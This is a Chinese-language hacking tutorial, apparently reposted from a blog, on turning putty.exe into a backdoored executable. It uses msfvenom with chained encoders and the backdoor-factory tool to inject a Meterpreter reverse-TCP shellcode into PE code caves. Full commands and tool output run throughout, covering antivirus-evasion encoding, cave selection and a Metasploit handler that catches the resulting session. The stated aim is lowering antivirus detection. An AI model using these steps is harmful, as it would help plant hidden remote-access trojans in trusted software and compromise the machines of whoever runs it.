使用 backdoor 工具注入ShellCode

backdoor-factory 顾名思义,直接翻译过来就是后门工厂的意思。其利用打补丁的方式编码加密PE文件,可以轻松的生成win32PE后门程序,从而帮助我们绕过一些防病毒软件的查杀,达到一定得免杀效果,利用该工具,攻击者可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factory不仅提供常用的脚本,还允许嵌入其他工具生成的Shellcode,如Metasploit。

在教程开始之前,我们先来思考一个问题,这个代码裂痕是如何产生的?

一般在X86 系列的CPU 中,每次读取一页的数据,x86处理器中页是按4KB(1000h)来排列的;而在IA-64 上,是按8KB(2000h)来排列的。所以在X86 系统中,PE文件区块的内存对齐值一般等于 1000h,也就是4KB,每个区块按1000h 的倍数在内存中存放。

通常情况下硬盘被格式化时默认对其就是4kb,但在硬盘中存放的文件是紧密排列的,为了能让CPU认识这些指令,需要对硬盘中的程序进行扩展,也就是保证其4KB的对其方式,那么有些指令本身并没有占用4KB的空间,这些指令会被垫片字节所取代,这也就是代码中的缝隙,我们可以借助这些缝隙来进行插入恶意代码。

通过 msfvenom 打乱编码

1.我们可以使用如下命令,将 putty.exe 与后门程序合二为一,变成 shell.exe 但这种方式很容易被杀。

root@kali:~# msfvenom -a x86 --platform Windows 
> -p windows/meterpreter/reverse_tcp 
> -b 'x00x0b' LHOST=192.168.1.30 LPORT=8888 
> -x putty.exe -k -f exe > shell.exe

root@kali:~# ls -lh
total 2.5M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe

2.通过简单地 shikata_ga_nai 编码器,将ShellCode编码迭代打乱20次,然后生成 shell1.exe文件,此马的报毒率明显变低了。

root@kali:~# msfvenom -a x86 --platform Windows 
> -p windows/meterpreter/reverse_tcp 
> -b 'x00x0b' LHOST=192.168.1.30 LPORT=8888 
> -e x86/shikata_ga_nai -i 20 
> -x putty.exe -k -f exe > shell1.exe

root@kali:~# ls -lh
total 3.8M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:44 shell1.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe

3.然而上方的处理方式还是不理想,我们通过使用管道让 msfvenom 对攻击载荷多重编码,先用shikata_ga_nai编码10次,接着继续20次的alpha_upper编码,再来5次的countdown编码,最后才生成shell3.exe的可执行文件。

root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -b 'x00x0b' 
> -e x86/shikata_ga_nai -i 10 LHOST=192.168.1.30 LPORT=8888 -f raw | 
> msfvenom -a x86 --platform windows -e x86/alpha_upper -i 20 -f raw | 
> msfvenom -a x86 --platform windows -e x86/countdown -i 5 
> -x putty.exe -f exe > shell3.exe

root@kali:~# ls -lh
total 4.9M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:44 shell1.exe
-rw-r--r-- 1 root root 1.1M Aug 12 02:55 shell3.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe

通过 backdoor 注入代码

接下来将使用Backdoor向Putty这个程序中注入一段ShellCode代码,需要注意的是Kali中有一个坑,其系统中自带的backdoor-factory并不能识别可执行文件,如下情况!

root@kali:~# backdoor-factory -f putty.exe 
    ____  ____  ______           __      
   / __ )/ __ / ____/___ ______/ /_____  _______  __
  / __  / / / / /_  / __ `/ ___/ __/ __ / ___/ / / /
 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /
/_____/_____/_/    \__,_/\___/\__/\____/_/   \__, /
                                            /____/

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.4.2
         
[*] In the backdoor module
[*] Checking if binary is supported
putty.exe not a PE File

后来经过摸索,总算爬出来了,你需要自己下载这个程序,并安装一个pip依赖,麻蛋的!

root@kali:~#  wget https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
root@kali:~#  git clone https://github.com/secretsquirrel/the-backdoor-factory.git
root@kali:~#  sudo pip install capstone

1.通过使用 backdoor -f putty.exe -S 命令,检测Putty.exe 是否支持注入代码。 -f:指定测试程序 -S:检查该程序是否支持注入

root@kali:~/backdoor# python backdoor.py --file=/root/putty.exe --support_check
    ____  ____  ______           __      
   / __ )/ __ / ____/___ ______/ /_____  _______  __
  / __  / / / / /_  / __ `/ ___/ __/ __ / ___/ / / /
 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /
/_____/_____/_/    \__,_/\___/\__/\____/_/   \__, /
                                            /____/

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.4.2
         
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
/root/putty.exe is supported.

2.上方的结果显示,该文件支持注入ShellCode,在确定其支持后,运行如下命令检查裂痕大小,如下可看出裂痕大小不小于300

root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -c -l 300
    ____  ____  ______           __      
   / __ )/ __ / ____/___ ______/ /_____  _______  __
  / __  / / / / /_  / __ `/ ___/ __/ __ / ___/ / / /
 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /
/_____/_____/_/    \__,_/\___/\__/\____/_/   \__, /
                                            /____/

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.4.2
         
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
Looking for caves with a size of 300 bytes (measured as an integer
[*] Looking for caves
No section
->Begin Cave 0x288
->End of Cave 0x400
Size of Cave (int) 376                // 可填充的空间大小

3.确定了可以注入以后,我们们接着使用show参数,查看其支持注入的ShellCode类型,如下结果所示。

root@kali:~/backdoor# python backdoor.py -f /root/putty.exe show

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.4.2
         
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
The following WinIntelPE32s are available: (use -s)
   cave_miner_inline
   iat_reverse_tcp_inline
   iat_reverse_tcp_inline_threaded
   iat_reverse_tcp_stager_threaded
   iat_user_supplied_shellcode_threaded
   meterpreter_reverse_https_threaded
   reverse_shell_tcp_inline
   reverse_tcp_stager_threaded
   user_supplied_shellcode_threaded

4.这里我们选择 iat_reverse_tcp_stager_threaded 这个反向连接的Shell并注入到Putty.exe中,参数中 -s=指定Shell,-H 指定攻击主机IP,-P 指定端口号。

root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -s iat_reverse_tcp_stager_threaded 
> -H 192.168.1.40 -P 8888

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Gathering file info
[*] Overwriting certificate table pointer
[*] Loading PE in pefile
[*] Parsing data directories
[*] Adding New Section for updated Import Table
[!] Adding VirtualAlloc Thunk in new IAT
[*] Gathering file info

回车执行后,我们可以看到以下界面。这里要求我们选择 code cave ,提示我们要注入到那个区段,这里我就选择2注入到rsrc区段。

############################################################
[*] Cave 1 length as int: 453
[*] Available caves: 
1. Section Name: .00cfg; Section Begin: 0xb5000 End: 0xb5200; Cave begin: 0xb5007 End: 0xb51fc; Cave Size: 501
2. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xb927a End: 0xb993b; Cave Size: 1729
3. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xb99b5 End: 0xba956; Cave Size: 4001
4. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xbaa64 End: 0xbba17; Cave Size: 4019
5. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0x100423 End: 0x1005fd; Cave Size: 474
**************************************************
[!] Enter your selection: 2                     
[!] Using selection: 2
[*] Changing flags for section: .rsrc
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
File putty.exe is in the 'backdoored' directory

默认情况下,会将制作好的文件放到 backdoored 这个文件中。

root@kali:~/backdoor/backdoored# ls -lh
总用量 1.1M
-rw-r--r-- 1 root root 1.1M 8月  12 11:52 putty.exe

制作完成后,我们去扫描一下。检出率只有 24% 还算不错。

5.回到攻击主机,启动MSF控制台,我们配置好侦听端口,然后运行Putty.exe 程序看能否正常上线。

root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.40
lhost => 192.168.1.40
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.40:8888 
msf5 exploit(multi/handler) > 

成功上线!

以上 patch 方式属于单代码裂缝的注入,为了取得更好的免杀效果,我们还可以使用 多代码裂缝的方式进行注入,参数如下!

root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -s iat_reverse_tcp_stager_threaded 
>  -H 192.168.1.40 -P 8888 -J

由于是将代码打乱插入到了程序中,过程中需要多次选择要插入的区段,为了避免报错,尽量选择大一点的区段插入数据。

原文地址:https://www.cnblogs.com/LyShark/p/11337841.html